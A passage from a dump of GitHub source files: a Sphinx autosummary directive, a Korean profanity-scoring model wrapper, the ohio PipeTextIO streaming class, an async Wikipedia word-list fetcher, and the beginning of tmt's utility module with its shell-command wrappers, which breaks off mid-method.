self.get_summary(renderer)\n            items.append((display_name, signature, summary, real_name))\n\n        return items\n\n\n    def make_title(self, title_text):\n        text_nodes = nodes.inline(title_text, title_text)\n        title = nodes.title(title_text, '', *text_nodes)\n        return title\n    \n\n    def get_table(self, items):\n        \"\"\"Generate a proper list of table nodes for autosummary:: directive.\n\n        *items* is a list produced by :meth:`get_items`.\n        \"\"\"\n        table_spec = addnodes.tabular_col_spec()\n        table_spec['spec'] = 'LL'\n\n        table = autosummary_table('')\n        real_table = nodes.table('')\n\n        if \"title\" in self.options:\n            title_node = self.make_title(self.options[\"title\"])\n            real_table.insert(0, title_node)\n            \n        table.append(real_table)\n        group = nodes.tgroup('', cols=2)\n        real_table.append(group)\n        group.append(nodes.colspec('', colwidth=10))\n        group.append(nodes.colspec('', colwidth=90))\n        body = nodes.tbody('')\n        group.append(body)\n\n        def append_row(*column_texts):\n            row = nodes.row('')\n            for text in column_texts:\n                node = nodes.paragraph('')\n                vl = ViewList()\n                vl.append(text, '<doxybridge-autosummary>')\n                self.sphinx_directive.state.nested_parse(vl, 0, node)\n                try:\n                    if isinstance(node[0], nodes.paragraph):\n                        node = node[0]\n                except IndexError:\n                    pass\n                row.append(nodes.entry('', node))\n            body.append(row)\n\n        for name, sig, summary, real_name in items:\n            qualifier = self.get_qualifier(name)\n            if 'nosignatures' not in self.options:\n                col1 = ':%s:`%s <%s>`\\ %s' % (qualifier, name, real_name, sig)\n            else:\n                col1 = ':%s:`%s <%s>`' % (qualifier, name, real_name)\n            col2 = summary\n            append_row(col1, col2)\n\n        return [table_spec, table]\n\n\nfrom doxybridge.autosummary.c import CSummary\n\n\nBUILTIN_SUMMARIES = {\n    'c': CSummary,\n}\n","repo_name":"mivoq/speect","sub_path":"docs/sphinxext/doxybridge/directive/summary.py","file_name":"summary.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"11043849105","text":"import re\nimport os\nimport json\nfrom konlpy.tag import Okt\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.models import load_model\n\nos.environ['TF_CPP_MIN_LOG_LEVEL']='3'\nimport tensorflow as tf\nconfig = tf.compat.v1.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsession = tf.compat.v1.Session(config=config)\n\nloaded_model = load_model('/spark/abuse_model_v1.0.h5')\n\nokt = Okt()\nstopwords = ['의','가','이','은','들','는','좀','잘','걍','과','도','를','으로','자','에','와','한','하다']\nmax_len = 30\nvocab_size = 4346\ntokenizer = Tokenizer(vocab_size)\nwith open('/spark/abuse_vocab_v1.0.json', encoding='UTF8') as json_file:\n    vocab = json.load(json_file)\n    tokenizer.word_index = vocab\n\ndef slang_predict(new_sentence):\n    new_sentence = re.sub(r'[^ㄱ-ㅎㅏ-ㅣ가-힣 ]', '', new_sentence)\n    if new_sentence == \"\" or new_sentence.isspace():\n        return float(-1)\n    else : \n        new_sentence = okt.morphs(new_sentence, stem=True)\n        new_sentence = [word for word in new_sentence if not word in stopwords]\n        if not new_sentence:\n            return float(-1)\n        else:\n            encoded = tokenizer.texts_to_sequences([new_sentence])\n            pad_new = pad_sequences(encoded, maxlen = max_len)\n            score = loaded_model.predict(pad_new)\n            return round(float(score), 2)","repo_name":"younginshin115/21_hyu_javas","sub_path":"Dockerfiles/spark-master/abuse_model_v1.py","file_name":"abuse_model_v1.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37870498275","text":"\"\"\"\npipeio\n------\n\nEfficiently connect ``read()`` and ``write()`` interfaces.\n\n``PipeTextIO`` provides a *readable* and iterable interface to text\nwhose producer requires a *writable* interface.\n\nIn contrast to first writing such text to memory and then consuming it,\n``PipeTextIO`` only allows write operations as necessary to fill its\nbuffer, to fulfill read operations, asynchronously. As such,\n``PipeTextIO`` consumes a stable minimum of memory, and may\nsignificantly boost speed, with a minimum of boilerplate.\n\n\"\"\"\nimport queue\nimport threading\n\nfrom . import baseio\n\n\nclass PipeTextIO(baseio.StreamTextIOBase):\n    r\"\"\"Iteratively stream output written by given function through\n    readable file-like interface.\n\n    Uses in-process writer thread, (which runs the given function), to\n    mimic buffered text transfer, such as between the standard output\n    and input of two piped processes.\n\n    Calls to ``write`` are blocked until required by calls to ``read``.\n\n    Note: If at all possible, use a generator! Your iterative text-\n    writing function can most likely be designed as a generator, (or as\n    some sort of iterator). Its output can then, far more simply and\n    easily, be streamed to some input. If your input must be ``read``\n    from a file-like object, see ``ohio.IteratorTextIO``. If your output\n    must be CSV-encoded, see ``ohio.encode_csv``, ``ohio.CsvTextIO`` and\n    ``ohio.CsvWriterTextIO``.\n\n    ``PipeTextIO`` is suitable for situations where output *must* be\n    written to a file-like object, which is made blocking to enforce\n    iterativity.\n\n    ``PipeTextIO`` is not \"seekable,\" but supports all other typical,\n    read-write file-like features.\n\n    For example, consider the following callable, (artificially)\n    requiring a file-like object, to which to write::\n\n        >>> def write_output(file_like):\n        ...     file_like.write(\"Hi there.\\r\\n\")\n        ...     print('[writer]', 'Yay I wrote one line')\n        ...     file_like.write(\"Cool, right?\\r\\n\")\n        ...     print('[writer]', 'Finally ... I wrote a second line!')\n        ...     file_like.write(\"All right, later :-)\\r\\n\")\n        ...     print('[writer]', \"Done.\")\n\n    Most typically, we might *read* this content as follows, using\n    either the ``PipeTextIO`` constructor or its ``pipe_text`` helper::\n\n        >>> with PipeTextIO(write_output) as pipe:\n        ...     for line in pipe:\n        ...         ...\n\n    And, this syntax is recommended. However, for the sake of example,\n    consider the following::\n\n        >>> pipe = PipeTextIO(write_output, buffer_size=1)\n\n        >>> pipe.read(5)\n        [writer] Yay I wrote one line\n        'Hi th'\n        [writer] Finally ... I wrote a second line!\n\n        >>> pipe.readline()\n        'ere.\\r\\n'\n\n        >>> pipe.readline()\n        'Cool, right?\\r\\n'\n        [writer] Done.\n\n        >>> pipe.read()\n        'All right, later :-)\\r\\n'\n\n    In the above example, ``write_output`` requires a file-like\n    interface to which to write its output; (and, we presume that there\n    is no alternative to this implementation – such as a generator –\n    that its output is large enough that we don't want to hold\n    it in memory **and** that we don't need this output written to the\n    file system). We are enabled to read it directly, in chunks:\n\n        1.  Initially, nothing is written.\n\n        2.  a) Upon requesting to read -- in this case, only the first 5\n               bytes -- the writer is initialized, and permitted to write\n               its first chunk, (which happens to be one full line). This is\n               retrieved from the write buffer, and sufficient to satisfy\n               the read request.\n\n            b) Having removed the first chunk from the write buffer, the\n               writer is permitted to eagerly write its next chunk, (the\n               second line), (but, no more than that).\n\n        3.  The second read request -- for the remainder of the line --\n            is fully satisfied by the first chunk retrieved from the\n            write buffer. No more writing takes place.\n\n        4.  The third read request, for another line, retrieves the\n            second chunk from the write buffer. The writer is permitted\n            to write its final chunk to the write buffer.\n\n        5.  The final read request returns all remaining text,\n            (retrieved from the write buffer).\n\n    Concretely, this is commonly useful with the PostgreSQL COPY\n    command, for efficient data transfer, (and without the added\n    complexity of the file system). While your database interface may\n    vary, ``PipeTextIO`` enables the following syntax, for example to\n    copy data into the database::\n\n        >>> def write_csv(file_like):\n        ...     writer = csv.writer(file_like)\n        ...     ...\n\n        >>> with PipeTextIO(write_csv) as pipe, \\\n        ...      connection.cursor() as cursor:\n        ...     cursor.copy_from(pipe, 'my_table', format='csv')\n\n    ...or, to copy data out of the database::\n\n        >>> with connection.cursor() as cursor:\n        ...     writer = lambda pipe: cursor.copy_to(pipe,\n        ...                                          'my_table',\n        ...                                          format='csv')\n        ...\n        ...     with PipeTextIO(writer) as pipe:\n        ...         reader = csv.reader(pipe)\n        ...         ...\n\n    Alternatively, writer arguments may be passed to ``PipeTextIO``::\n\n        >>> with connection.cursor() as cursor:\n        ...     with PipeTextIO(cursor.copy_to,\n        ...                     args=['my_table'],\n        ...                     kwargs={'format': 'csv'}) as pipe:\n        ...         reader = csv.reader(pipe)\n        ...         ...\n\n    (But, bear in mind, the signature of the callable passed to\n    ``PipeTextIO`` must be such that its first, anonymous argument is\n    the ``PipeTextIO`` instance.)\n\n    Consider also the above example with the helper ``pipe_text``::\n\n        >>> with connection.cursor() as cursor:\n        ...     with pipe_text(cursor.copy_to,\n        ...                    'my_table',\n        ...                    format='csv') as pipe:\n        ...         reader = csv.reader(pipe)\n        ...         ...\n\n    Finally, note that copying *to* the database is likely best\n    performed via ``ohio.CsvTextIO``, (though copying *from* requires\n    ``PipeTextIO``, as above)::\n\n        >>> with ohio.CsvTextIO(data_rows) as csv_buffer, \\\n        ...      connection.cursor() as cursor:\n        ...     cursor.copy_from(csv_buffer, 'my_table', format='csv')\n\n    \"\"\"\n    _log_debug = False\n    _none = object()\n\n    buffer_queue_size = 10\n    queue_wait_timeout = 0.01\n\n    thread_daemon = True\n\n    @classmethod\n    def _print_log(cls, where, message='', *message_args):\n        if cls._log_debug:\n            print('[debug]', '[%s]' % where, message % message_args)\n\n    def __init__(self, writer_func, args=None, kwargs=None, buffer_size=None):\n        super().__init__()\n\n        self.__writer_func__ = writer_func\n        self.__writer_args__ = args\n        self.__writer_kwargs__ = kwargs\n\n        self.buffer_queue_size = buffer_size or self.buffer_queue_size\n        self._buffer_queue = queue.Queue(self.buffer_queue_size)\n\n        self._writer = threading.Thread(\n            daemon=self.thread_daemon,\n            target=self._writer_write,\n        )\n        self._writer_started = False\n        self._writer_exc = None\n\n    @property\n    def _should_wait(self):\n        return not self._writer_started or self._writer.is_alive()\n\n    def _ensure_started(self):\n        if not self._writer_started:\n            self._writer.start()\n            self._writer_started = True\n            self._print_log('writer', 'started')\n\n    def __next_chunk__(self):\n        self._print_log('read')\n\n        self._ensure_started()\n\n        #\n        # There is a race condition between:\n        #\n        #   * checking ``_should_wait`` -- (whether worker alive and could enqueue more)\n        #   * worker finishing up and \"dying\"\n        #\n        while True:\n            # handle race condition on checking Thread.is_alive\n            try:\n                text = self._buffer_queue.get(self._should_wait,\n                                              self.queue_wait_timeout)\n            except queue.Empty:\n                if not self._should_wait:\n                    text = self._none\n                    break\n            else:\n                break\n\n        if self._writer_exc:\n            raise self._writer_exc\n\n        if text is self._none:\n            raise StopIteration\n\n        self._buffer_queue.task_done()\n\n        self._print_log('read', '%r', text)\n        return text\n\n    def _writer_write(self):\n        args = self.__writer_args__ or ()\n        kwargs = self.__writer_kwargs__ or {}\n        try:\n            self.__writer_func__(self, *args, **kwargs)\n        except baseio.IOClosed:\n            self._print_log('writer', 'killed')\n        except Exception as exc:\n            self._print_log('writer', 'error: %r', exc)\n            self._writer_exc = exc\n        else:\n            self._print_log('writer', 'done')\n\n    def close(self):\n        super().close()\n\n        # empty queue / trigger writer (and thereby kill thread)\n        if self._buffer_queue.full():\n            self._buffer_queue.get_nowait()\n\n    def write(self, text):\n        self._print_log('write', '%r', text)\n\n        if self.closed:\n            raise baseio.IOClosed()\n\n        self._buffer_queue.put(text)\n\n        text_len = len(text)\n        self._print_log('write', '%s', text_len)\n        return text_len\n\n    def writable(self):\n        if self.closed:\n            raise baseio.IOClosed()\n\n        return True\n\n\ndef pipe_text(writer_func, *args, buffer_size=None, **kwargs):\n    return PipeTextIO(\n        writer_func,\n        args=args,\n        kwargs=kwargs,\n        buffer_size=buffer_size,\n    )\n\n\npipe_text.__doc__ = PipeTextIO.__doc__\n","repo_name":"dssg/ohio","sub_path":"src/ohio/pipeio.py","file_name":"pipeio.py","file_ext":"py","file_size_in_byte":9994,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"21"}
+{"seq_id":"35898666492","text":"import asyncio\nimport httpx\nfrom unidecode import unidecode\nimport re\nfrom .data import common_words\n\nbanned_str = [\"'s\", '\\n']\n\nasync def clean_text(content):\n    content = unidecode(content).lower()\n    for i in banned_str:\n        content = content.replace(i, ' ')\n\n    content = re.sub(r'[^a-z]', ' ', content)\n\n    wordlist = [i for i in content.split(' ') if len(i) > 1 and i not in common_words]\n    return list(filter(('').__ne__, wordlist))\n\nasync def process_wikipedia_article(article):\n    async with httpx.AsyncClient() as client:\n        try:\n            response = await client.get('https://en.wikipedia.org/w/api.php', params={\n                'action': 'query',\n                'prop': 'extracts',\n                'titles': article,\n                'explaintext': '1',\n                'exsectionformat': 'plain',\n                'format': 'json',\n                'formatversion': '2',\n            })\n            response.raise_for_status()\n        except httpx.HTTPError as exc:\n            return []\n\n    return await clean_text(response.json()['query']['pages'][0]['extract'])\n\nasync def get_wordlists_for_phrase(phrase):\n    async with httpx.AsyncClient() as client:\n        try:\n            response = await client.get('https://en.wikipedia.org/w/api.php', params={\n                'action': 'query',\n                'list': 'search',\n                'srsearch': phrase,\n                'format': 'json',\n                'formatversion': '2',\n            })\n            response.raise_for_status()\n\n            data = response.json()\n        except httpx.HTTPError as exc:\n            return []\n\n\n    pages = [i['title'] for i in data['query']['search']]\n    # if len(pages) > 15: pages = pages[:15]\n    wordlists = await asyncio.gather(*[process_wikipedia_article(i) for i in pages])\n\n    return wordlists\n\nasync def get_wordlists_for_phrases(phrases):\n    wordlist_list =  await asyncio.gather(*[get_wordlists_for_phrase(i) for i in phrases])\n\n    wordlists = []\n    for i in wordlist_list:\n        wordlists.extend(i)\n\n    return wordlists\n","repo_name":"MonkeybarApp/monkeybar","sub_path":"utils/word.py","file_name":"word.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"16715485549","text":"\n\"\"\" Test Metadata Utilities \"\"\"\n\nimport contextlib\nimport copy\nimport dataclasses\nimport datetime\nimport functools\nimport io\nimport os\nimport pathlib\nimport pprint\nimport re\nimport shlex\nimport shutil\nimport signal\nimport subprocess\nimport sys\nimport textwrap\nimport time\nimport unicodedata\nimport urllib.parse\nfrom collections import OrderedDict\nfrom functools import lru_cache\nfrom threading import Thread\nfrom typing import (IO, TYPE_CHECKING, Any, Callable, Dict, Generator, Generic,\n                    Iterable, List, NamedTuple, Optional, Pattern, Sequence,\n                    Tuple, Type, TypeVar, Union, cast, overload)\n\nimport click\nimport fmf\nimport jinja2\nimport jinja2.exceptions\nimport jsonschema\nimport pkg_resources\nimport requests\nimport requests.adapters\nimport requests.packages.urllib3.util.retry\nimport urllib3.exceptions\nfrom click import echo, style, wrap_text\nfrom ruamel.yaml import YAML, scalarstring\nfrom ruamel.yaml.comments import CommentedMap\nfrom ruamel.yaml.parser import ParserError\nfrom ruamel.yaml.representer import Representer\n\nif sys.version_info >= (3, 8):\n    from typing import Literal, Protocol\nelse:\n    from typing_extensions import Literal, Protocol\n\nimport tmt.log\n\nif TYPE_CHECKING:\n    import tmt.base\n    import tmt.cli\n    import tmt.steps\n\n\nclass Path(pathlib.PosixPath):\n    # Apparently, `pathlib`` does not offer `relpath` transition between\n    # parallel trees, instead, a `ValueError`` is raised when `self` does not\n    # lie under `other`. Overriding the original implementation with one based\n    # on `os.path.relpath()`, which is more suited to tmt code base needs.\n    #\n    # ignore[override]: does not match the signature on purpose, our use is\n    # slightly less generic that what pathlib supports, to be usable with\n    # os.path.relpath.\n    def relative_to(self, other: Union[str, 'Path']) -> 'Path':  # type: ignore[override]\n        return Path(os.path.relpath(self, other))\n\n    # * `Path.is_relative_to()`` has been added in 3.9\n    # https://docs.python.org/3/library/pathlib.html#pathlib.PurePath.is_relative_to\n    #\n    # * The original implementation calls `relative_to()`, which we just made\n    # to return a relative path for all possible inputs, even those the original\n    # implementation considers to not be relative to each other. Therefore, we\n    # need to override `is_relative_to()` even for other Python versions, to not\n    # depend on `ValueError` raised by the original `relative_to()`.\n    #\n    # ignore[override]: does not match the signature on purpose, our use is\n    # slightly less generic that what pathlib supports, to be usable with\n    # os.path.relpath.\n    def is_relative_to(self, other: 'Path') -> bool:  # type: ignore[override]\n        # NOTE: the following is not perfect, but it should be enough for\n        # what tmt needs to know about its paths.\n\n        # Acquire the relative path from the one we're given and the other...\n        relpath = os.path.relpath(str(self), str(other))\n\n        # ... and if the relative path starts with `..`, it means we had to\n        # walk *up* from `other` and descend to `path`, therefore `path` cannot\n        # be a subtree of `other`.\n\n        return not relpath.startswith('..')\n\n    def unrooted(self) -> 'Path':\n        \"\"\" Return the path as if it was not starting in file system root \"\"\"\n\n        if self.is_absolute():\n            return self.relative_to('/')\n\n        return self\n\n\nlog = fmf.utils.Logging('tmt').logger\n\n\n# Default workdir root and max\nWORKDIR_ROOT = Path('/var/tmp/tmt')\nWORKDIR_MAX = 1000\n\n# Maximum number of lines of stdout/stderr to show upon errors\nOUTPUT_LINES = 100\n# Default output width\nOUTPUT_WIDTH = 79\n\n# Hierarchy indent\nINDENT = 4\n\n# Default name and order for step plugins\nDEFAULT_NAME = 'default'\nDEFAULT_PLUGIN_ORDER = 50\nDEFAULT_PLUGIN_ORDER_MULTIHOST = 10\nDEFAULT_PLUGIN_ORDER_REQUIRES = 70\nDEFAULT_PLUGIN_ORDER_RECOMMENDS = 75\n\n# Config directory\nCONFIG_PATH = Path('~/.config/tmt')\n\n# Special process return code\nPROCESS_TIMEOUT = 124\n\n# Default select.select(timeout) in seconds\nDEFAULT_SELECT_TIMEOUT = 5\n\n# Default shell and options to be set for all shell scripts\nDEFAULT_SHELL = \"/bin/bash\"\nSHELL_OPTIONS = 'set -eo pipefail'\n\n# Defaults for HTTP/HTTPS retries and timeouts (see `retry_session()`).\nDEFAULT_RETRY_SESSION_RETRIES: int = 3\nDEFAULT_RETRY_SESSION_BACKOFF_FACTOR: float = 0.1\n\n# Defaults for HTTP/HTTPS retries for getting environment file\n# Retry with exponential backoff, maximum duration ~511 seconds\nENVFILE_RETRY_SESSION_RETRIES: int = 10\nENVFILE_RETRY_SESSION_BACKOFF_FACTOR: float = 1\n\n# Default for wait()-related options\nDEFAULT_WAIT_TICK: float = 30.0\nDEFAULT_WAIT_TICK_INCREASE: float = 1.0\n\n# A stand-in variable for generic use.\nT = TypeVar('T')\n\n# A FMF context type, representing name/values context.\nFmfContextType = Dict[str, List[str]]\n\n# A \"environment\" type, representing name/value environment variables.\nEnvironmentType = Dict[str, str]\n\n# Workdir argument type, can be True, a string, a path or None\nWorkdirArgumentType = Union[Literal[True], Path, None]\n\n# Workdir type, can be None or a path\nWorkdirType = Optional[Path]\n\n# Option to skip to initialize work tree in plan\nPLAN_SKIP_WORKTREE_INIT = 'plan_skip_worktree_init'\n\n\nclass BaseLoggerFnType(Protocol):\n    def __call__(\n            self,\n            key: str,\n            value: Optional[str] = None,\n            color: Optional[str] = None,\n            shift: int = 0,\n            level: int = 1,\n            err: bool = False) -> None:\n        pass\n\n\nclass LevelessLoggerFnType(Protocol):\n    def __call__(\n            self,\n            key: str,\n            value: Optional[str] = None,\n            color: Optional[str] = None,\n            shift: int = 0,\n            err: bool = False) -> None:\n        pass\n\n\nclass SemanticLoggerFnType(Protocol):\n    def __call__(self, message: str, shift: int = 0) -> None:\n        pass\n\n\nLoggerFnType = Union[\n    BaseLoggerFnType,\n    LevelessLoggerFnType,\n    SemanticLoggerFnType]\n\n\nclass Config:\n    \"\"\" User configuration \"\"\"\n\n    def __init__(self) -> None:\n        \"\"\" Initialize config directory path \"\"\"\n        self.path = CONFIG_PATH.expanduser()\n        if not self.path.exists():\n            try:\n                self.path.mkdir(parents=True)\n            except OSError as error:\n                raise GeneralError(\n                    f\"Failed to create config '{self.path}'.\\n{error}\")\n\n    @property\n    def _last_run_symlink(self) -> Path:\n        return self.path / 'last-run'\n\n    @property\n    def last_run(self) -> Optional[Path]:\n        \"\"\" Get the last run workdir path \"\"\"\n        return self._last_run_symlink.resolve() if self._last_run_symlink.is_symlink() else None\n\n    @last_run.setter\n    def last_run(self, workdir: Path) -> None:\n        \"\"\" Set the last run to the given run workdir \"\"\"\n\n        try:\n            self._last_run_symlink.unlink()\n        except OSError:\n            pass\n\n        try:\n            self._last_run_symlink.symlink_to(workdir)\n        except FileExistsError:\n            # Race when tmt runs in parallel\n            log.warning(f\"Race condition, unable to save last run '{workdir}'.\")\n        except OSError as error:\n            raise GeneralError(\n                f\"Unable to save last run '{self.path}'.\\n{error}\")\n\n\n# TODO: `StreamLogger` is a dedicated thread fillowing given stream, passing their content to\n# tmt's logging methods. Thread is needed because of some amount of blocking involved in the\n# process, but it has a side effect of `NO_COLOR` envvar being ignored. When tmt spots `NO_COLOR`\n# envvar, it flips a `color` flag in its Click context. But since contexts are thread-local,\n# thread powering `StreamLogger` is not aware of this change, and all Click methods it calls\n# - namely `echo` and `style` in depths of logging code - would still apply colors depending on\n# tty setup.\n#\n# Passing Click context from the main thread to `StreamLogger` instances to replace their context\n# is one way to solve it, another might be logging being more explicit and transparent, e.g. with\n# https://github.com/teemtee/tmt/issues/1565.\nclass StreamLogger(Thread):\n    \"\"\"\n    Reading pipes of running process in threads.\n\n    Code based on:\n    https://github.com/packit/packit/blob/main/packit/utils/logging.py#L10\n    \"\"\"\n\n    def __init__(self,\n                 stream: Optional[IO[bytes]],\n                 log_header: str,\n                 logger: BaseLoggerFnType,\n                 click_context: Optional[click.Context]) -> None:\n        super().__init__(daemon=True)\n        self.stream = stream\n        self.output: List[str] = []\n        self.log_header = log_header\n        self.logger = logger\n        self.click_context = click_context\n\n    def run(self) -> None:\n        if self.stream is None:\n            return\n\n        if self.click_context is not None:\n            click.globals.push_context(self.click_context)\n\n        for _line in self.stream:\n            line = _line.decode('utf-8', errors='replace')\n            if line != '':\n                self.logger(\n                    self.log_header,\n                    line.rstrip('\\n'),\n                    'yellow',\n                    level=3)\n            self.output.append(line)\n\n    def get_output(self) -> str:\n        return \"\".join(self.output)\n\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#  Common\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCommonDerivedType = TypeVar('CommonDerivedType', bound='Common')\n\n#: A single element of command-line.\n_CommandElement = str\n\n\nclass ShellScript:\n    \"\"\" A shell script, a free-form blob of text understood by a shell. \"\"\"\n\n    def __init__(self, script: str) -> None:\n        \"\"\"\n        A shell script, a free-form blob of text understood by a shell.\n\n        :param script: the actual script to be encapsulated by ``ShellScript``\n            wrapper.\n        \"\"\"\n\n        self._script = textwrap.dedent(script)\n\n    def __str__(self) -> str:\n        return self._script\n\n    def __add__(self, other: 'ShellScript') -> 'ShellScript':\n        return ShellScript.from_scripts([self, other])\n\n    def __and__(self, other: 'ShellScript') -> 'ShellScript':\n        return ShellScript(f'{self} && {other}')\n\n    def __or__(self, other: 'ShellScript') -> 'ShellScript':\n        return ShellScript(f'{self} || {other}')\n\n    @classmethod\n    def from_scripts(cls, scripts: List['ShellScript']) -> 'ShellScript':\n        \"\"\"\n        Create a single script from many shorter ones.\n\n        Scripts are merged into a single ``ShellScript`` instance, joined\n        together with ``;`` character.\n\n        :param scripts: scripts to merge into one.\n        \"\"\"\n\n        return ShellScript('; '.join(script._script for script in scripts))\n\n    def to_element(self) -> _CommandElement:\n        \"\"\" Convert a shell script to a command element \"\"\"\n\n        return self._script\n\n    def to_shell_command(self) -> 'Command':\n        \"\"\"\n        Convert a shell script into a shell-driven command.\n\n        Turns a shell script into a full-fledged command one might pass to the OS.\n        Basically what would ``run(script, shell=True)`` do.\n        \"\"\"\n\n        return Command(DEFAULT_SHELL, '-c', self.to_element())\n\n\nclass Command:\n    \"\"\" A command with its arguments. \"\"\"\n\n    def __init__(self, *elements: _CommandElement) -> None:\n        self._command = elements\n\n    def __str__(self) -> str:\n        return self.to_element()\n\n    def __add__(self, other: Union['Command', List[str]]) -> 'Command':\n        if isinstance(other, Command):\n            return Command(*self._command, *other._command)\n\n        return Command(*self._command, *other)\n\n    def to_element(self) -> _CommandElement:\n        \"\"\"\n        Convert a command to a shell command line element.\n\n        Use when a command or just a list of command options should become a part\n        of another command. Common examples of such \"higher level\" commands\n        would be would be ``rsync -e`` or ``ansible-playbook --ssh-common-args``.\n        \"\"\"\n\n        return ' '.join(shlex.quote(s) for s in self._command)\n\n    def to_script(self) -> ShellScript:\n        \"\"\"\n        Convert a command to a shell script.\n\n        Use when a command is supposed to become a part of a shell script.\n        \"\"\"\n\n        return ShellScript(' '.join(shlex.quote(s) for s in self._command))\n\n    def to_popen(self) -> List[str]:\n        \"\"\" Convert a command to form accepted by :py:mod:`subprocess.Popen` \"\"\"\n\n        return list(self._command)\n\n\nclass CommandOutput(NamedTuple):\n    stdout: Optional[str]\n    stderr: Optional[str]\n\n\nclass _CommonBase:\n    \"\"\"\n    A base class for **all** classes contributing to \"common\" tree of classes.\n\n    All classes derived from :py:class:`Common` or mixin classes used to enhance\n    classes derived from :py:class:`Common` need to have this class as one of\n    its most distant ancestors. They should not descend directly from ``object``\n    class, ``_CommonBase`` needs to be used instead.\n\n    Our classes and mixins use keyword-only arguments, and with mixins in play,\n    we do not have a trivial single-inheritance tree, therefore it's not simple\n    to realize when a ``super().__init__`` belongs to ``object``. To deliver\n    arguments to all classes, our ``__init__()`` methods must accept all\n    parameters, even those they have no immediate use for, and propagate them\n    via ``**kwargs``. Sooner or later, one of the classes would try to call\n    ``object.__init__(**kwargs)``, but this particular ``__init__()`` accepts\n    no keyword arguments, which would lead to an exception.\n\n    ``_CommonBase`` sits at the root of the inheritance tree, and is responsible\n    for calling ``object.__init__()`` *with no arguments*. Thanks to method\n    resolution order, all \"branches\" of our tree of common classes should lead\n    to ``_CommonBase``, making sure the call to ``object`` is correct. To behave\n    correctly, ``_CommonBase`` needs to check which class is the next in the MRO\n    sequence, and stop propagating arguments.\n    \"\"\"\n\n    def __init__(self, **kwargs: Any) -> None:\n        mro = type(self).__mro__\n        # ignore[name-defined]: mypy does not recognize __class__, but it\n        # exists and it's documented.\n        # https://peps.python.org/pep-3135/\n        # https://github.com/python/mypy/issues/4177\n        parent = mro[mro.index(__class__) + 1]  # type: ignore[name-defined]\n\n        if parent is object:\n            super().__init__()\n\n        else:\n            super().__init__(**kwargs)\n\n\nclass Common(_CommonBase):\n    \"\"\"\n    Common shared stuff\n\n    Takes care of command line context, options and workdir handling.\n    Provides logging functions info(), verbose() and debug().\n    Implements read() and write() for comfortable file access.\n    Provides the run() method for easy command execution.\n    \"\"\"\n\n    # Command line context, options and workdir\n    _context: Optional['tmt.cli.Context'] = None\n    # When set to true, _opt will be ignored (default will be returned)\n    ignore_class_options: bool = False\n    _options: Dict[str, Any] = dict()\n    _workdir: WorkdirType = None\n\n    # TODO: must be declared outside of __init__(), because it must exist before\n    # __init__() gets called to allow logging helpers work correctly when used\n    # from mixins. But that's not very clean, is it? :( Maybe decoupling logging\n    # from Common class would help, such a class would be able to initialize\n    # itself without involving the rest of Common code. On the other hand,\n    # Common owns workdir, for example, whose value affects logging too, so no\n    # clear solution so far.\n    #\n    # Note: cannot use CommonDerivedType - it's a TypeVar filled in by the type\n    # given to __init__() and therefore the type it's representing *now* is\n    # unknown. but we know `parent` will be derived from `Common` class, so it's\n    # mostly fine.\n    parent: Optional['Common'] = None\n\n    def inject_logger(self, logger: tmt.log.Logger) -> None:\n        self._logger = logger\n\n    def __init__(\n            self,\n            *,\n            parent: Optional[CommonDerivedType] = None,\n            name: Optional[str] = None,\n            workdir: WorkdirArgumentType = None,\n            context: Optional['tmt.cli.Context'] = None,\n            relative_indent: int = 1,\n            logger: tmt.log.Logger,\n            **kwargs: Any) -> None:\n        \"\"\"\n        Initialize name and relation with the parent object\n\n        Prepare the workdir for provided id / directory path\n        or generate a new workdir name if workdir=True given.\n        Store command line context and options for future use\n        if context is provided.\n        \"\"\"\n\n        super().__init__(\n            parent=parent,\n            name=name,\n            workdir=workdir,\n            context=context,\n            relative_indent=relative_indent,\n            logger=logger,\n            **kwargs)\n\n        # Use lowercase class name as the default name\n        self.name = name or self.__class__.__name__.lower()\n        self.parent = parent\n\n        # Store command line context\n        if context:\n            self._save_context_to_instance(context)\n\n            # TODO: not needed here, apparently, it's applied elsewhere, not to\n            # each and every Common child.\n            # logger.apply_verbosity_options(**self._options)\n\n        self.inject_logger(logger)\n\n        # Prepare a safe variant of the name which does not contain\n        # spaces or other special characters to prevent problems with\n        # tools which do not expect them (e.g. in directory names).\n        self.safe_name = re.sub(r\"[^\\w/-]+\", \"-\", self.name).strip(\"-\")\n\n        # Relative log indent level shift against the parent\n        self._relative_indent = relative_indent\n\n        # Initialize the workdir if requested\n        self._workdir_load(workdir)\n\n    def __str__(self) -> str:\n        \"\"\" Name is the default string representation \"\"\"\n        return self.name\n\n    @classmethod\n    def _save_context(cls, context: 'tmt.cli.Context') -> None:\n        \"\"\" Save provided command line context and options for future use \"\"\"\n        cls._context = context\n        cls._options = context.params\n\n    def _save_context_to_instance(self, context: 'tmt.cli.Context') -> None:\n        \"\"\" Save provided command line context and options to the instance \"\"\"\n        self._context = context\n        self._options = context.params\n\n    @overload\n    @classmethod\n    def _opt(cls, option: str) -> Any:\n        pass\n\n    @overload\n    @classmethod\n    def _opt(cls, option: str, default: T) -> T:\n        pass\n\n    @classmethod\n    def _opt(cls, option: str, default: Any = None) -> Any:\n        \"\"\" Get an option from the command line context (class version) \"\"\"\n        if cls.ignore_class_options:\n            return default\n        return cls._options.get(option, default)\n\n    @property\n    def _context_object(self) -> Optional['tmt.cli.ContextObject']:\n        if self._context is None:\n            return None\n\n        # FIXME: cast() - https://github.com/teemtee/tmt/pull/1592\n        return cast(Optional['tmt.cli.ContextObject'], self._context.obj)\n\n    def _fmf_context(self) -> FmfContextType:\n        \"\"\" Return the current fmf context \"\"\"\n        if self._context_object is None:\n            return dict()\n\n   